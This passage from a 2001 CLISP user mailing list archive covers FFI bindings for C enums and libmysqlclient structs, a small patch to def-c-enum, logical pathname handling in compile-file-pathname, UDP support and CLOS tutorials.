User-Agent: Mutt/1.2.5i > > > Sender: clisp-list-admin@lists.sourceforge.net > > > X-BeenThere: clisp-list@lists.sourceforge.net > > > X-Mailman-Version: 2.0.5 > > > Precedence: bulk > > > List-Help: > > > > List-Post: > > > List-Subscribe: > , > > > > > > List-Id: CLISP user discussion > > > List-Unsubscribe: > , > > > > > > List-Archive: > > > Date: Mon, 28 May 2001 16:23:06 +0200 > > > Content-Length: 1186 > > > > > > On Mon, May 28, 2001 at 01:26:08AM -0700, Eric de Groot wrote: > > > > Hello. > > > > > > > > What is the CLISP FFI C type for enum?? I can't find it in the > > > > documentation, and i've tried (c-enum ) (c-enumeration ) (enum ) > > > > (enumeration ) and all give me an error. The following fails, tells > me > > > > "*** - Incomplete FFI type ENUM_NET_TYPE is not allowed here.": > > > > > > > > (def-c-enum enum_net_type NET_TYPE_TCPIP NET_TYPE_SOCKET > NET_TYPE_NAMEDPIPE) > > > > > > > > (def-c-struct st_net > > > > (nettype enum_net_type) > > > > (fd int) > > > > .... ) > > > > > > > > > > > here's the corresponding c code: > > > > > > > > enum enum_net_type { NET_TYPE_TCPIP, NET_TYPE_SOCKET, > NET_TYPE_NAMEDPIPE }; > > > > > > > > typedef struct st_net { > > > > enum enum_net_type nettype; > > > > int fd; > > > > .... > > > > }; > > > > > > > > > > Hi, > > > > > > There's probably a better answer than this one, but here goes: > > > In C enum is compatible with int, so you should be able to do, > > > > > > (def-c-struct st_net > > > (nettype int) > > > (fd int)) > > > > > > Regards, > > > Peter > > > > > > Ps. If you don't like having "int" for readability, you could > > > do: > > > > > > (def-c-type c_enum int) > > > > > > before. > > > > > > > That is true, but sometimes the C compiler may complain for functions > > which do not actually use the enumerated type. > > > > I believe this is a shortcoming of CLisp FFI (shared by ACL FFI). It > > should not be difficult to add them. After all CMUCL and LW have C > > enumerations. > > > > But I am talking without knowing much. > > > > Cheers > > > > Marco > > > > > > -- > > Marco Antoniotti ======================================================== > > NYU Courant Bioinformatics Group tel. +1 - 212 - 998 3488 > > 719 Broadway 12th Floor fax +1 - 212 - 995 4122 > > New York, NY 10003, USA http://bioinformatics.cat.nyu.edu > > "Hello New York! We'll do what we can!" > > Bill Murray in `Ghostbusters'. > > > > _______________________________________________ > > clisp-list mailing list > > clisp-list@lists.sourceforge.net > > http://lists.sourceforge.net/lists/listinfo/clisp-list > > > > > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > http://lists.sourceforge.net/lists/listinfo/clisp-list > From eric@ericdegroot.com Tue May 29 02:11:17 2001 Received: from rcomm.net ([216.122.136.22]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 154fX2-0007QU-00 for ; Tue, 29 May 2001 02:11:16 -0700 Received: from CX417245D (cx417245-d.fed1.sdca.home.com [24.251.129.67]) by rcomm.net (8.9.3/8.9.3) with SMTP id CAA26915; Tue, 29 May 2001 02:11:13 -0700 (PDT) Message-ID: <016f01c0e81f$8db985f0$4381fb18@CX417245D> From: "Eric de Groot" To: , "Peter Wood" References: <012901c0e74f$d917eb70$4381fb18@CX417245D> <20010528162306.A318@localhost.localdomain> <200105281704.NAA19817@octagon.mrl.nyu.edu> <00ab01c0e7ce$7bba73b0$4381fb18@CX417245D> <20010529082132.A157@localhost.localdomain> Subject: Re: [clisp-list] What's the purpose of (def-c-enum ) then? Date: Tue, 29 May 2001 02:12:57 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Hello- Yeah, i'm just using int now instead, thanks, but I have a new problem maybee you can help me with. Btw, I'm running: GNU CLISP 2.25.1 (released 2001-04-06) (built 3199588721) (memory 3199589569) on Debian GNU/Linux 2.2 I'm trying to write the FFI lisp for libmysqlclient, here's what I've got: mysql.lisp: (in-package "MYSQL" :use '("LISP" "FFI")) ; typedef struct st_net { ; enum enum_net_type nettype; ; my_socket fd; ; int fcntl; ; unsigned char *buff,*buff_end,*write_pos,*read_pos; ; char last_error[MYSQL_ERRMSG_SIZE]; ; unsigned int last_errno,max_packet,timeout,pkt_nr; ; my_bool error,return_errno,compress; ; unsigned long remain_in_buf,length, buf_length, where_b; ; my_bool more; ; char save_char; ; } NET; (def-c-struct st_net (nettype int) (fd int) (fcntl int) (buff (c-ptr uchar)) (buff_end (c-ptr uchar)) (write_pos (c-ptr uchar)) (read_pos (c-ptr uchar)) (last_error (c-array char 200)) (last_errno uint) (max_packet uint) (timeout uint) (pkt_nr uint) (error char) (return_errno char) (compress char) (remain_in_buf ulong) (length ulong) (buf_length ulong) (where_b ulong) (more char) (save_char char)) ; typedef struct st_mysql_field { ; char *name; /* Name of column */ ; char *table; /* Table of column if column was a field */ ; char *def; /* Default value (set by mysql_list_fields) */ ; enum enum_field_types type; /* Type of field. Se mysql_com.h for types */ ; unsigned int length; /* Width of column */ ; unsigned int max_length; /* Max width of selected set */ ; unsigned int flags; /* Div flags */ ; unsigned int decimals; /* Number of decimals in field */ ; } MYSQL_FIELD; (def-c-struct st_mysql_field (name c-string) (table c-string) (def c-string) (type int) (length uint) (max_length uint) (flags uint) (decimals uint)) ; typedef struct st_used_mem { /* struct for once_alloc */ ; struct st_used_mem *next; /* Next block in use */ ; unsigned int left; /* memory left in block */ ; unsigned int size; /* size of block */ ; } USED_MEM; (def-c-struct st_used_mem (next (c-ptr st_used_mem)) ; *** comment this line out and no stack overflow.. *** (left uint) (size uint)) ; typedef struct st_mem_root { ; USED_MEM *free; ; USED_MEM *used; ; unsigned int min_malloc; ; unsigned int block_size; ; void (*error_handler)(void); ; } MEM_ROOT; (def-c-struct st_mem_root (free (c-ptr st_used_mem)) (used (c-ptr st_used_mem)) (min_malloc uint) (block_size uint) (error_handler (c-function))) ; struct st_mysql_options { ; unsigned int connect_timeout,client_flag; ; my_bool compress,named_pipe; ; unsigned int port; ; char *host,*init_command,*user,*password,*unix_socket,*db; ; char *my_cnf_file,*my_cnf_group; ; }; (def-c-struct st_mysql_options (connect_timeout uint) (client_flag uint) (compress char) (named_pipe char) (port uint) (host c-string) (init_command c-string) (user c-string) (password c-string) (unix_socket c-string) (db c-string) (my_cnf_file c-string) (my_cnf_group c-string)) ; typedef struct st_mysql { ; NET net; /* Communication parameters */ ; char *host,*user,*passwd,*unix_socket,*server_version,*host_info, ; *info,*db; ; unsigned int port,client_flag,server_capabilities; ; unsigned int protocol_version; ; unsigned int field_count; ; unsigned long thread_id; /* Id for connection in server */ ; my_ulonglong affected_rows; ; my_ulonglong insert_id; /* id if insert on table with NEXTNR */ ; my_ulonglong extra_info; /* Used by mysqlshow */ ; unsigned long packet_length; ; enum mysql_status status; ; MYSQL_FIELD *fields; ; MEM_ROOT field_alloc; ; my_bool free_me; /* If free in mysql_close */ ; my_bool reconnect; /* set to 1 if automatic reconnect */ ; struct st_mysql_options options; ; } MYSQL; (def-c-struct st_mysql (net st_net) (host c-string) (user c-string) (passwd c-string) (unix_socket c-string) (server_version c-string) (host_info c-string) (info c-string) (db c-string) (port uint) (client_flag uint) (server_capabilities uint) (protocol_version uint) (field_count uint) (thread_id ulong) (affected_rows ulong) (insert_id ulong) (extra_info ulong) (packet_length ulong) (status int) (fields (c-ptr st_mysql_field)) (field_alloc st_mem_root) (free_me char) (reconnect char) (options st_mysql_options)) ; MYSQL * STDCALL mysql_init(MYSQL *mysql); (def-c-call-out mysql_init (:arguments (mysql (c-ptr st_mysql) :in :alloca)) (:return-type (c-ptr st_mysql))) ; EOF clisp compiles it fine as long as the (next ) member is commented out in st_used_mem. Any ideas? Thanks. -Eric de Groot mailto:eric@ericdegroot.com ----- Original Message ----- From: "Peter Wood" To: "Eric de Groot" Sent: Monday, May 28, 2001 11:21 PM Subject: Re: [clisp-list] What's the purpose of (def-c-enum ) then? > On Mon, May 28, 2001 at 04:32:38PM -0700, Eric de Groot wrote: > > I just posted a question about using an enumeration defined with def-c-enum > > as a var type, but there doesent seem to be support for it. What's the > > purpose of (def-c-enum ) then? How can it be used if there isent an enum > > type?? Thanks. > > > Hi > > def-c-enum works fine. The reason your original didn't work (I think) > is that you used it inside the def-c-struct. > > You had: > > (def-c-enum enum_net_type NET_TYPE_TCPIP NET_TYPE_SOCKET NET_TYPE_NAMEDPIPE) > > This declares NET_TYPE_* to be constants 0, 1, 2 respectively. > > (def-c-struct st_net > (nettype enum_net_type) > (fd int) > .... ) > > The first statement is fine. But you can't even do the second in C! > Your C "equivalent" which you gave was: > > typedef struct st_net { > enum enum_net_type nettype; > int fd; > .... > }; > > which seems correct(1), although *not* the same thing. If you were > going to write an equivalent in FFI it should be: > > (def-c-struct st_net > (def-c-enum enum_net_type ...) > > I don't think you can do that. Thats why I suggested declaring > nettype to be an int. > > You also ask if anyone uses the FFI. Yes, look in > $clisp-src/modules/*. > > You should also give more information when you ask questions. What > clisp version are you using? What is it running on. Have you made > any changes, etc. It's really difficult trying to *guess* what you > are doing. > > Regards, > Peter > From peter.wood@worldonline.dk Tue May 29 04:20:09 2001 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 154hXk-0004k9-00 for ; Tue, 29 May 2001 04:20:08 -0700 Received: from localhost.localdomain (cpe.atm0-0-0-120180.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id DDDD6B4C5; Tue, 29 May 2001 13:20:04 +0200 (CEST) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id f4TBFiw00456; Tue, 29 May 2001 13:15:44 +0200 Date: Tue, 29 May 2001 13:15:44 +0200 From: Peter Wood To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] What's the purpose of (def-c-enum ) then? Message-ID: <20010529131544.A363@localhost.localdomain> References: <012901c0e74f$d917eb70$4381fb18@CX417245D> <20010528162306.A318@localhost.localdomain> <200105281704.NAA19817@octagon.mrl.nyu.edu> <00ab01c0e7ce$7bba73b0$4381fb18@CX417245D> <20010529082132.A157@localhost.localdomain> <016f01c0e81f$8db985f0$4381fb18@CX417245D> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <016f01c0e81f$8db985f0$4381fb18@CX417245D>; from eric@ericdegroot.com on Tue, May 29, 2001 at 02:12:57AM -0700 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: On Tue, May 29, 2001 at 02:12:57AM -0700, Eric de Groot wrote: > Hello- > > Yeah, i'm just using int now instead, thanks, but I have a new problem > maybee you can help me with. Btw, I'm running: > > GNU CLISP 2.25.1 (released 2001-04-06) (built 3199588721) (memory > 3199589569) > on Debian GNU/Linux 2.2 The latest is 2.26. > > I'm trying to write the FFI lisp for libmysqlclient, here's what I've got: > > mysql.lisp: > > > ; typedef struct st_used_mem { /* struct for once_alloc */ > ; struct st_used_mem *next; /* Next block in use */ > ; unsigned int left; /* memory left in block */ > ; unsigned int size; /* size of block */ > ; } USED_MEM; > > (def-c-struct st_used_mem > (next (c-ptr st_used_mem)) ; *** comment this line out and no stack > overflow.. *** > (left uint) > (size uint)) I don't know why this happens. Sorry. Regards, Peter From marcoxa@cs.nyu.edu Tue May 29 06:38:23 2001 Received: from octagon.mrl.nyu.edu ([128.122.47.83]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 154jhX-0008LC-00 for ; Tue, 29 May 2001 06:38:23 -0700 Received: (from marcoxa@localhost) by octagon.mrl.nyu.edu (8.9.3/8.9.3) id JAA04112; Tue, 29 May 2001 09:36:05 -0400 Date: Tue, 29 May 2001 09:36:05 -0400 Message-Id: <200105291336.JAA04112@octagon.mrl.nyu.edu> X-Authentication-Warning: octagon.mrl.nyu.edu: marcoxa set sender to marcoxa@cs.nyu.edu using -f From: Marco Antoniotti To: eric@ericdegroot.com CC: clisp-list@lists.sourceforge.net In-reply-to: <005a01c0e7bc$950bcba0$4381fb18@CX417245D> (eric@ericdegroot.com) Subject: Re: [clisp-list] FFI C enumerations References: <012901c0e74f$d917eb70$4381fb18@CX417245D> <20010528162306.A318@localhost.localdomain> <200105281704.NAA19817@octagon.mrl.nyu.edu> <005a01c0e7bc$950bcba0$4381fb18@CX417245D> Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > From: "Eric de Groot" > Content-Type: text/plain; > charset="iso-8859-1" > X-Priority: 3 > X-MSMail-Priority: Normal > X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 > Sender: clisp-list-admin@lists.sourceforge.net > X-BeenThere: clisp-list@lists.sourceforge.net > X-Mailman-Version: 2.0.5 > Precedence: bulk > List-Help: > List-Post: > List-Subscribe: , > > List-Id: CLISP user discussion > List-Unsubscribe: , > > List-Archive: > Date: Mon, 28 May 2001 14:24:30 -0700 > Content-Length: 3852 > > Thanks for the info. I'll try using int. Otherwise this really sucks. > When you say it shouldnt be to hard to add (c-enum ), do you it shouldnt be > to hard for me to add, or should be to hard to the developers of clisp? Are > the defs for these functions/macros available for editing somewhere in my > local clisp tree? Thanks. It would certinly be easier for the CLisp main developers. Myself personally, wouldn't know where to start to look at. Cheers -- Marco Antoniotti ======================================================== NYU Courant Bioinformatics Group tel. +1 - 212 - 998 3488 719 Broadway 12th Floor fax +1 - 212 - 995 4122 New York, NY 10003, USA http://bioinformatics.cat.nyu.edu "Hello New York! We'll do what we can!" Bill Murray in `Ghostbusters'. From sds@gnu.org Tue May 29 07:13:11 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 154kFC-0004Ru-00 for ; Tue, 29 May 2001 07:13:10 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id KAA08569; Tue, 29 May 2001 10:13:07 -0400 (EDT) X-Envelope-To: To: Peter Wood Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] fixes as diffs? References: <20010528082114.A254@localhost.localdomain> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20010528082114.A254@localhost.localdomain> Date: 29 May 2001 10:10:37 -0400 Message-ID: Lines: 15 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <20010528082114.A254@localhost.localdomain> > * On the subject of "[clisp-list] fixes as diffs?" > * Sent on Mon, 28 May 2001 08:21:14 +0200 > * Honorable Peter Wood writes: > > Would it be possible for small fixes like the regexp one to be > released as diffs. It would make it easier for new users. done. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on My inferiority complex is the only thing I can be proud of. From csr21@cam.ac.uk Tue May 29 07:42:15 2001 Received: from puce.csi.cam.ac.uk ([131.111.8.40]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 154khJ-0008Bm-00 for ; Tue, 29 May 2001 07:42:14 -0700 Received: from lambda.jesus.cam.ac.uk ([131.111.229.91] ident=mail) by puce.csi.cam.ac.uk with esmtp (Exim 3.22 #1) id 154khF-0000Gi-00 for clisp-list@lists.sourceforge.net; Tue, 29 May 2001 15:42:09 +0100 Received: from csr21 by lambda.jesus.cam.ac.uk with local (Exim 3.22 #1 (Debian)) id 154keQ-0000U0-00; Tue, 29 May 2001 15:39:14 +0100 Date: Tue, 29 May 2001 15:39:14 +0100 To: CLISP Message-ID: <20010529153914.A1255@cam.ac.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.18i From: Christophe Rhodes Subject: [clisp-list] Pathnames... Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Dear all, I think we're getting closer on the common-lisp-controller front... (see clisp-devel passim); the next complaint I have (sorry) is with compile-file-pathname (and compile-file). The Hyperspec says: compile-file-pathname input-file &key output-file &allow-other-keys => pathname If input-file is a logical pathname and output-file is unsupplied, the result is a logical pathname. However, clisp -ansi as of this morning gives: [23]> (compile-file-pathname #p"cl-library:;metering;metering.lisp") *** - PARSE-NAMESTRING: argument should be a string, symbol, file stream or pathname, not # This seems to be somewhere in sys::search-file, which I confess I don't understand; however, the call to directory in search-file looks suspicious, as it's likely to destroy logical pathname information, though this doesn't seem likely to cause the above error. I also think that the call (merge-pathnames '#".fas" input-file) in compile-file-pathname-helper is likely to cause problems; I get [30]> (merge-pathnames #".fas" #p"cl-library:metering;metering.lisp") #P"/usr/share/common-lisp/source/metering/metering.fas" Where the hyperspec for merge-pathnames says: merge-pathnames pathname &optional default-pathname default-version If pathname does not specify a host, device, directory, name, or type, each such component is copied from default-pathname. and (pathname-host #p"/usr/share/common-lisp/source/metering/metering.fas") => NIL I think that instead you want something semantically like (make-pathname :defaults input-file :type "fas") Except that this currently fails for exactly the same reason as above (returning a physical rather than a logical pathname) The point of this is that I believe that logical pathnames support compiling "foo:bar;baz.lisp" to "foo:bar;baz.fas", where the translations for "**;*.lisp" and "**;*.fas" point to completely different physical directories or filesystems. I apologize for the slightly dense message and that I'm not really providing solutions; please let me know if there's any clarification I can provide. Cheers, Christophe -- Jesus College, Cambridge, CB5 8BL +44 1223 524 842 http://www-jcsu.jesus.cam.ac.uk/~csr21/ (defun pling-dollar (str schar arg) (first (last +))) (make-dispatch-macro-character #\! t) (set-dispatch-macro-character #\! #\$ #'pling-dollar) From frodef@acm.org Tue May 29 07:43:50 2001 Received: from dslab7.cs.uit.no ([129.242.16.27]) by usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.22 #1 (Debian)) id 154kir-0008NP-00 for ; Tue, 29 May 2001 07:43:49 -0700 Received: (from frodef@localhost) by dslab7.cs.uit.no (8.11.3/8.11.0) id f4TEhjX19524; Tue, 29 May 2001 16:43:45 +0200 (CEST) (envelope-from frodef@acm.org) X-Authentication-Warning: dslab7.cs.uit.no: frodef set sender to frodef@acm.org using -f To: clisp-list@lists.sourceforge.net From: Frode Vatvedt Fjeld Date: 29 May 2001 16:43:44 +0200 Message-ID: <2hbsocb4gv.fsf@dslab7.cs.uit.no> Lines: 4 User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] UDP network streams Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Hi, does CLISP (for unix) support communication over UDP/IP? -- Frode Vatvedt Fjeld From sds@gnu.org Tue May 29 08:01:14 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 154kzi-00029w-00 for ; Tue, 29 May 2001 08:01:14 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id LAA18930; Tue, 29 May 2001 11:01:08 -0400 (EDT) X-Envelope-To: To: "Eric de Groot" Cc: Subject: Re: [clisp-list] FFI: "Lisp stack overflow. RESET" References: <012901c0e74f$d917eb70$4381fb18@CX417245D> <20010528162306.A318@localhost.localdomain> <200105281704.NAA19817@octagon.mrl.nyu.edu> <00c901c0e7d3$dd7df8b0$4381fb18@CX417245D> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <00c901c0e7d3$dd7df8b0$4381fb18@CX417245D> User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 Date: 29 May 2001 10:58:37 -0400 Message-ID: Lines: 38 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <00c901c0e7d3$dd7df8b0$4381fb18@CX417245D> > * On the subject of "[clisp-list] FFI: "Lisp stack overflow. RESET"" > * Sent on Mon, 28 May 2001 17:11:09 -0700 > * Honorable "Eric de Groot" writes: > > More FFI problems;) I switched my enumerations over to ints so clisp please try this patch for your enum problems.: ------------------------------------------ --- foreign1.lisp.~1.5.~ Fri May 4 18:06:07 2001 +++ foreign1.lisp Tue May 29 10:52:44 2001 @@ -1051,6 +1051,7 @@ (push `(DEFCONSTANT ,item ,next-value) forms) (setq next-value `(1+ ,item)) ) + (setf (gethash name *c-type-table*) 'int) `(PROGN ,@(nreverse forms) ',name) ) ) ------------------------------------------ > gets past that, but instead now I get: > > Compiling file /usr/local/lib/clisp/callmystuff.lisp ... > *** - Lisp stack overflow. RESET please send "callmystuff.lisp" (trim is down as much as possible) People, _PLEASE_ _DO_ edit the quoted text in your messages. 100 lines of appended old messasges and 50 lines of headers of old messages are _NOT_ appreciated. Thanks. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Diplomacy is the art of saying "nice doggy" until you can find a rock. From sds@gnu.org Tue May 29 09:52:37 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 154mjV-0002wc-00 for ; Tue, 29 May 2001 09:52:37 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id MAA17865; Tue, 29 May 2001 12:51:37 -0400 (EDT) X-Envelope-To: To: Frode Vatvedt Fjeld Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] UDP network streams References: <2hbsocb4gv.fsf@dslab7.cs.uit.no> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <2hbsocb4gv.fsf@dslab7.cs.uit.no> User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 Date: 29 May 2001 12:49:03 -0400 Message-ID: Lines: 15 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <2hbsocb4gv.fsf@dslab7.cs.uit.no> > * On the subject of "[clisp-list] UDP network streams" > * Sent on 29 May 2001 16:43:44 +0200 > * Honorable Frode Vatvedt Fjeld writes: > > Hi, does CLISP (for unix) support communication over UDP/IP? I don't think so. what do you need this for? -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Yeah, yeah, I love cats too... wanna trade recipes? From frodef@acm.org Tue May 29 12:59:56 2001 Received: from dslab7.cs.uit.no ([129.242.16.27]) by usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.22 #1 (Debian)) id 154peG-0007iw-00 for ; Tue, 29 May 2001 12:59:24 -0700 Received: (from frodef@localhost) by dslab7.cs.uit.no (8.11.3/8.11.0) id f4TJxIc06292; Tue, 29 May 2001 21:59:18 +0200 (CEST) (envelope-from frodef@acm.org) X-Authentication-Warning: dslab7.cs.uit.no: frodef set sender to frodef@acm.org using -f To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] UDP network streams References: <2hbsocb4gv.fsf@dslab7.cs.uit.no> From: Frode Vatvedt Fjeld Date: 29 May 2001 21:59:13 +0200 In-Reply-To: Sam Steingold's message of "29 May 2001 12:49:03 -0400" Message-ID: <2hy9rg9bam.fsf@dslab7.cs.uit.no> Lines: 16 User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > > * Honorable Frode Vatvedt Fjeld writes: > > > > Hi, does CLISP (for unix) support communication over UDP/IP? Sam Steingold writes: > I don't think so. what do you need this for? Well, I need it.. can I build something atop the FFI interface and libc funtions? Is there an (relatively) easy way to interface libc (FreeBSD) in CLISP? -- Frode Vatvedt Fjeld From sds@gnu.org Tue May 29 13:45:31 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 154qMt-0005ia-00 for ; Tue, 29 May 2001 13:45:31 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id QAA06872; Tue, 29 May 2001 16:45:24 -0400 (EDT) X-Envelope-To: To: Frode Vatvedt Fjeld Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] UDP network streams References: <2hbsocb4gv.fsf@dslab7.cs.uit.no> <2hy9rg9bam.fsf@dslab7.cs.uit.no> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <2hy9rg9bam.fsf@dslab7.cs.uit.no> Date: 29 May 2001 16:42:41 -0400 Message-ID: Lines: 19 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <2hy9rg9bam.fsf@dslab7.cs.uit.no> > * On the subject of "Re: [clisp-list] UDP network streams" > * Sent on 29 May 2001 21:59:13 +0200 > * Honorable Frode Vatvedt Fjeld writes: > > can I build something atop the FFI interface and > libc funtions? > > Is there an (relatively) easy way to interface libc (FreeBSD) in > CLISP? yep - FFI is your friend. look at modules/bindings/linuxlibc6 in the CLISP source tree. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on The software said it requires Windows 3.1 or better, so I installed Linux. From dennis@illusions.com Tue May 29 14:04:25 2001 Received: from bubba.gong.com ([207.254.25.3] helo=illusions.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 154qfB-0008Bj-00 for ; Tue, 29 May 2001 14:04:25 -0700 Received: from localhost (dennis@localhost) by illusions.com (8.11.3/8.11.3) with ESMTP id f4TL4Bt06781 for ; Tue, 29 May 2001 14:04:11 -0700 Date: Tue, 29 May 2001 14:04:11 -0700 (MST) From: Dennis To: In-Reply-To: <15116.1491.755820.149662@isis.compsvcs.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] CLOS tutorial/reference Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Hi, I've read Jeff Dalton's "A Brief Guide to CLOS". Is there a more detailed discussion of CLOS on the net someone can point me to? -- --- Dennis Sacks dennis@illusions.com From dennis@illusions.com Tue May 29 16:29:41 2001 Received: from bubba.gong.com ([207.254.25.3] helo=illusions.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 154svl-0001nW-00 for ; Tue, 29 May 2001 16:29:41 -0700 Received: from localhost (dennis@localhost) by illusions.com (8.11.3/8.11.3) with ESMTP id f4TNTV509010 for ; Tue, 29 May 2001 16:29:31 -0700 Date: Tue, 29 May 2001 16:29:31 -0700 